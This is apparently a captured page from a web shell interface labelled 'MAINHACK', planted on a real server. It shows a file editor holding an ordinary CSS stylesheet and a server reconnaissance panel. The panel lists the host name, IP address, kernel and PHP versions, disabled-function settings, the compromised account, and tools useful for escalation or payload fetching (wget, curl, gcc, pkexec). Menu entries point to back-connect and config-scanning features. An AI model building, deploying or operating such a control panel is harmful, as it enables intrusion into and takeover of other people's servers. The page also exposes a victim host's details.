[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: service-grid.css
/* Reset and base styles */ * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background-color: hsl(0, 0%, 100%); color: hsl(222.2, 84%, 4.9%); line-height: 1.6; } .container { padding: 1rem; max-width: 100%; margin: 0 auto; } /* Header */ .header { margin-bottom: 1.5rem; } .title { font-size: 1.5rem; font-weight: 700; color: hsl(222.2, 84%, 4.9%); margin-bottom: 0.25rem; } .subtitle { font-size: 0.875rem; color: hsl(215.4, 16.3%, 46.9%); } /* Search and Filter Bar */ .search-bar { display: flex; gap: 0.75rem; margin-bottom: 1rem; } .search-input-wrapper { position: relative; flex: 1; } .search-icon { position: absolute; left: 0.75rem; top: 50%; transform: translateY(-50%); color: hsl(215.4, 16.3%, 46.9%); } .search-input { width: 100%; padding: 0.5rem 0.75rem 0.5rem 2.5rem; border: 1px solid hsl(214.3, 31.8%, 91.4%); border-radius: 0.375rem; font-size: 0.875rem; background-color: white; height: 2.25rem; } .search-input:focus { outline: none; border-color: hsl(207, 89%, 54%); box-shadow: 0 0 0 2px hsl(207, 89%, 54%, 0.2); } .filter-btn { display: flex; align-items: center; gap: 0.5rem; padding: 0.5rem 0.75rem; border: 1px solid hsl(214.3, 31.8%, 91.4%); border-radius: 0.375rem; background-color: white; font-size: 0.875rem; cursor: pointer; height: 2.25rem; transition: all 0.2s; } .filter-btn:hover { background-color: hsl(210, 40%, 96.1%); } /* Statistics Grid */ .stats-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 0.75rem; margin-bottom: 1.5rem; } @media (min-width: 768px) { .stats-grid { grid-template-columns: repeat(4, 1fr); } } .stat-card { padding: 0.75rem; border-radius: 0.5rem; color: white; } .stat-card h3 { font-size: 0.75rem; opacity: 0.9; margin-bottom: 0.25rem; } .stat-card p { font-size: 1.25rem; font-weight: 700; } .stat-primary { background-color: hsl(207, 89%, 54%); } .stat-success { background-color: hsl(142, 71%, 45%); } .stat-warning { background-color: hsl(38, 92%, 50%); } .stat-accent { background-color: hsl(207, 89%, 54%); } /* Records Grid */ .records-grid { display: grid; grid-template-columns: 1fr; gap: 1rem; } @media (min-width: 640px) { .records-grid { grid-template-columns: repeat(2, 1fr); } } @media (min-width: 1024px) { .records-grid { grid-template-columns: repeat(3, 1fr); } } @media (min-width: 1280px) { .records-grid { grid-template-columns: repeat(4, 1fr); } } @media (min-width: 1536px) { .records-grid { grid-template-columns: repeat(5, 1fr); } } /* Record Card */ .record-card { background-color: white; border: 1px solid hsl(220, 13%, 91%); border-radius: 0.5rem; padding: 1rem; transition: all 0.2s; position: relative; min-height: 140px; } .record-card:hover { background-color: hsl(210, 40%, 98%); box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -2px rgba(0, 0, 0, 0.1); } /* Card Header */ .card-header { display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 0.75rem; } .service-info { flex: 1; min-width: 0; } .date-time { display: flex; align-items: center; gap: 0.5rem; font-size: 0.75rem; color: hsl(215.4, 16.3%, 46.9%); margin-bottom: 0.25rem; } .service-name { font-weight: 500; font-size: 0.875rem; color: hsl(222.2, 84%, 4.9%); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .additional-services { font-size: 0.75rem; color: hsl(215.4, 16.3%, 46.9%); margin-left: 0.25rem; } /* Actions Menu */ .actions-menu { position: relative; } .menu-trigger { width: 1.5rem; height: 1.5rem; padding: 0; border: none; background: none; cursor: pointer; border-radius: 0.25rem; opacity: 0; transition: opacity 0.2s; display: flex; align-items: center; justify-content: center; } .record-card:hover .menu-trigger { opacity: 1; } .menu-trigger:hover { background-color: hsl(210, 40%, 96.1%); } .dropdown-menu { position: absolute; top: 100%; right: 0; background-color: white; border: 1px solid hsl(214.3, 31.8%, 91.4%); border-radius: 0.375rem; box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1); z-index: 10; min-width: 8rem; display: none; } .dropdown-item { display: flex; align-items: center; gap: 0.5rem; width: 100%; padding: 0.5rem 0.75rem; border: none; background: none; text-align: left; font-size: 0.875rem; cursor: pointer; transition: background-color 0.2s; } .dropdown-item:hover { background-color: hsl(210, 40%, 96.1%); } .dropdown-item.delete { color: hsl(0, 84.2%, 60.2%); } .dropdown-item.delete:hover { color: hsl(0, 84.2%, 60.2%); } /* Financial Info */ .financial-info { display: grid; grid-template-columns: repeat(3, 1fr); gap: 0.5rem; text-align: center; font-size: 0.75rem; margin-bottom: 0.75rem; } .amount-item .amount { font-weight: 600; color: hsl(222.2, 84%, 4.9%); } .amount-item .amount.warning { color: hsl(38, 92%, 50%); } .amount-item .amount.primary { color: hsl(207, 89%, 54%); } .amount-item .label { color: hsl(215.4, 16.3%, 46.9%); } /* Card Footer */ .card-footer { display: flex; align-items: center; justify-content: space-between; font-size: 0.75rem; } .employee { display: flex; align-items: center; gap: 0.25rem; color: hsl(215.4, 16.3%, 46.9%); flex: 1; min-width: 0; } .employee span { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 80px; } .status-payment { display: flex; align-items: center; gap: 0.5rem; } .payment { color: hsl(215.4, 16.3%, 46.9%); } .status-badge { display: inline-flex; align-items: center; justify-content: center; padding: 0.125rem 0.375rem; font-size: 0.75rem; border-radius: 0.25rem; font-weight: 500; min-width: 1.5rem; height: auto; } .status-badge.done { background-color: hsl(207, 89%, 54%); color: white; } .status-badge.pending { background-color: hsl(0, 84.2%, 60.2%); color: white; } /* Dark mode support */ @media (prefers-color-scheme: dark) { body { background-color: hsl(222.2, 84%, 4.9%); color: hsl(210, 40%, 98%); } .record-card { background-color: hsl(222.2, 84%, 4.9%); border-color: hsl(217.2, 32.6%, 17.5%); } .record-card:hover { background-color: hsl(217.2, 32.6%, 17.5%); } .search-input, .filter-btn { background-color: hsl(217.2, 32.6%, 17.5%); border-color: hsl(217.2, 32.6%, 17.5%); color: hsl(210, 40%, 98%); } .dropdown-menu { background-color: hsl(222.2, 84%, 4.9%); border-color: hsl(217.2, 32.6%, 17.5%); } .dropdown-item:hover { background-color: hsl(217.2, 32.6%, 17.5%); } .title { color: hsl(210, 40%, 98%); } .amount-item .amount { color: hsl(210, 40%, 98%); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002